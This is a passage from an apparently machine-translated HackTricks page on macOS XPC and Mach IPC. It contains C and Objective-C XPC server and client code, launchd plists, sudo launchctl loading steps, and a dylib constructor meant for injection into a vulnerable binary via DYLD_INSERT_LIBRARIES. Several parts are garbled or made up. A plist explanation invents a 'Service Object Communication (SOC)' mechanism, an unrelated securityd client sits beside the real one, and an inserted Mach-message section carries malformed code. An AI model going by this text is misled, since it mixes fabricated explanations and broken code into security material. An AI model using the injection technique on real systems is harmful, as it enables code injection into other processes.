xpc_connection_create_mach_service("xyz.hacktricks.service", NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED); xpc_connection_set_event_handler(connection, ^(xpc_object_t event) { if (xpc_get_type(event) == XPC_TYPE_DICTIONARY) { // Print received message const char* received_message = xpc_dictionary_get_string(event, "received"); printf("Received message: %s\n", received_message); } }); xpc_connection_resume(connection); xpc_object_t message = xpc_dictionary_create(NULL, NULL, 0); xpc_dictionary_set_string(message, "message", "Hello, Server!"); xpc_connection_send_message(connection, message); dispatch_main(); return 0; } ``` {% tab title="xyz.hacktricks.service.plist" %}xyz.hacktricks.service.plist是一个属性列表文件,用于配置macOS系统中的服务。它定义了服务的名称、描述、启动方式和其他相关属性。在这个文件中,你可以指定服务的执行路径、环境变量和启动参数。你还可以设置服务的启动顺序和依赖关系。通过编辑这个文件,你可以定制和管理系统中的服务。 ```xml Label xyz.hacktricks.service MachServices xyz.hacktricks.service Program /tmp/xpc_server ProgramArguments /tmp/xpc_server ``` {% endtab %} {% endtabs %} ```bash # Compile the server & client gcc xpc_server.c -o xpc_server gcc xpc_client.c -o xpc_client # Save server on it's location cp xpc_server /tmp # Load daemon sudo cp xyz.hacktricks.service.plist /Library/LaunchDaemons sudo launchctl load /Library/LaunchDaemons/xyz.hacktricks.service.plist # Call client ./xpc_client # Clean sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.service.plist sudo rm /Library/LaunchDaemons/xyz.hacktricks.service.plist /tmp/xpc_server ``` ### ObjectiveC 代码示例 {% tabs %} {% tab title="oc_xpc_server.m" %} ```objectivec // gcc -framework Foundation oc_xpc_server.m -o oc_xpc_server #include @protocol MyXPCProtocol - (void)sayHello:(NSString *)some_string withReply:(void (^)(NSString *))reply; @end @interface MyXPCObject : NSObject @end @implementation MyXPCObject - (void)sayHello:(NSString *)some_string withReply:(void (^)(NSString *))reply { NSLog(@"Received message: %@", some_string); NSString *response = @"Received"; reply(response); } @end @interface MyDelegate : NSObject @end @implementation MyDelegate - (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection { newConnection.exportedInterface = [NSXPCInterface interfaceWithProtocol:@protocol(MyXPCProtocol)]; MyXPCObject *my_object = [MyXPCObject new]; newConnection.exportedObject = my_object; [newConnection resume]; return YES; } @end int main(void) { NSXPCListener *listener = [[NSXPCListener alloc] initWithMachServiceName:@"xyz.hacktricks.svcoc"]; id delegate = [MyDelegate new]; listener.delegate = delegate; [listener resume]; sleep(10); // Fake something is done and then it ends } ``` {% tab title="oc_xpc_client.m" %}oc_xpc_client.m文件 ```objective-c #import #import int main(int argc, const char * argv[]) { @autoreleasepool { xpc_connection_t connection = xpc_connection_create_mach_service("com.apple.securityd", NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED); xpc_connection_set_event_handler(connection, ^(xpc_object_t event) { xpc_type_t type = xpc_get_type(event); if (type == XPC_TYPE_DICTIONARY) { const char *description = xpc_dictionary_get_string(event, "description"); if (description) { printf("Received event: %s\n", description); } } }); xpc_connection_resume(connection); dispatch_main(); } return 0; } ``` 这是一个Objective-C文件,用于创建一个XPC客户端连接到`com.apple.securityd`服务。它使用`xpc_connection_create_mach_service`函数创建一个特权的Mach服务连接,并使用`xpc_connection_set_event_handler`函数设置一个事件处理程序来处理接收到的事件。在事件处理程序中,它检查事件的类型是否为字典类型,并获取字典中的描述信息。如果存在描述信息,则打印出接收到的事件描述。最后,它通过调用`dispatch_main`函数来启动主循环,以保持连接的活动状态。 ```objectivec // gcc -framework Foundation oc_xpc_client.m -o oc_xpc_client #include @protocol MyXPCProtocol - (void)sayHello:(NSString *)some_string withReply:(void (^)(NSString *))reply; @end int main(void) { NSXPCConnection *connection = [[NSXPCConnection alloc] initWithMachServiceName:@"xyz.hacktricks.svcoc" options:NSXPCConnectionPrivileged]; connection.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(MyXPCProtocol)]; [connection resume]; [[connection remoteObjectProxy] sayHello:@"Hello, Server!" withReply:^(NSString *response) { NSLog(@"Received response: %@", response); }]; [[NSRunLoop currentRunLoop] run]; return 0; } ``` {% tab title="xyz.hacktricks.svcoc.plist" %}xyz.hacktricks.svcoc.plist是一个属性列表文件,用于配置macOS中的服务对象通信(Service Object Communication,简称SOC)。SOC是一种进程间通信(IPC)机制,允许不同进程之间相互通信和共享数据。该文件用于定义SOC的配置参数,包括服务名称、通信方式、权限等。通过修改该文件,可以对SOC进行定制和优化,以增强macOS的安全性和特权升级防护。 ```xml Label xyz.hacktricks.svcoc MachServices xyz.hacktricks.svcoc Program /tmp/oc_xpc_server ProgramArguments /tmp/oc_xpc_server ``` {% endtab %} {% endtabs %} ```bash # Compile the server & client gcc -framework Foundation oc_xpc_server.m -o oc_xpc_server gcc -framework Foundation oc_xpc_client.m -o oc_xpc_client # Save server on it's location cp oc_xpc_server /tmp # Load daemon sudo cp xyz.hacktricks.svcoc.plist /Library/LaunchDaemons sudo launchctl load /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist # Call client ./oc_xpc_client # Clean sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist sudo rm /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist /tmp/oc_xpc_server ``` ### Dylib代码中的客户端 在macOS中,动态链接库(Dylib)是一种共享库,可以在多个进程之间共享代码和数据。在Dylib代码中,可以实现客户端来进行进程间通信(IPC)。 #### 使用Mach消息传递进行IPC Mach是macOS内核的一部分,它提供了一种IPC机制,允许进程之间通过消息传递进行通信。在Dylib代码中,可以使用Mach消息传递来实现IPC。 以下是一个示例代码,展示了如何在Dylib中创建一个客户端来发送Mach消息: ```c #include void send_mach_message() { mach_port_t server_port; kern_return_t kr; // 获取服务器端口 kr = task_get_special_port(mach_task_self(), TASK_BOOTSTRAP_PORT, &server_port); if (kr != KERN_SUCCESS) { // 处理错误 return; } // 创建消息 mach_msg_header_t msg; msg.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0); msg.msgh_size = sizeof(msg); msg.msgh_remote_port = server_port; msg.msgh_local_port = MACH_PORT_NULL; msg.msgh_reserved = 0; // 发送消息 kr = mach_msg(&msg, MACH_SEND_MSG, sizeof(msg), 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); if (kr != KERN_SUCCESS) { // 处理错误 return; } } ``` 在上述示例中,`send_mach_message`函数创建了一个Mach消息,并将其发送到服务器端口。通过修改消息的内容和参数,可以实现更复杂的IPC功能。 #### 其他IPC机制 除了Mach消息传递,macOS还提供了其他IPC机制,如XPC和UNIX域套接字。在Dylib代码中,可以根据需求选择适合的IPC机制来实现进程间通信。 ### 客户端内部的Dylib代码 ``` // gcc -dynamiclib -framework Foundation oc_xpc_client.m -o oc_xpc_client.dylib // gcc injection example: // DYLD_INSERT_LIBRARIES=oc_xpc_client.dylib /path/to/vuln/bin #import @protocol MyXPCProtocol - (void)sayHello:(NSString *)some_string withReply:(void (^)(NSString *))reply; @end __attribute__((constructor)) static void customConstructor(int argc, const char **argv) { NSString* _serviceName = @"xyz.hacktricks.svcoc"; NSXPCConnection* _agentConnection = [[NSXPCConnection alloc] initWithMachServiceName:_serviceName options:4096]; [_agentConnection setRemoteObjectInterface:[NSXPCInterface interfaceWithProtocol:@protocol(MyXPCProtocol)]]; [_agentConnection resume]; [[_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error) { (void)error; NSLog(@"Connection Failure"); }] sayHello:@"Hello, Server!" withReply:^(NSString *response) { NSLog(@"Received response: %@", response); } ]; NSLog(@"Done!"); return; } ``` ## 参考资料 * [https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html) * [https://knight.sc/malware/2019/03/15/code-injection-on-macos.html](https://knight.sc/malware/2019/03/15/code-injection-on-macos.html) * [https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a](https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a)
☁️ HackTricks 云 ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * 你在一家**网络安全公司**工作吗?想要在 HackTricks 中**宣传你的公司**吗?或者想要**获取 PEASS 的最新版本或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family) * 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) * **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** * **通过向**[**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**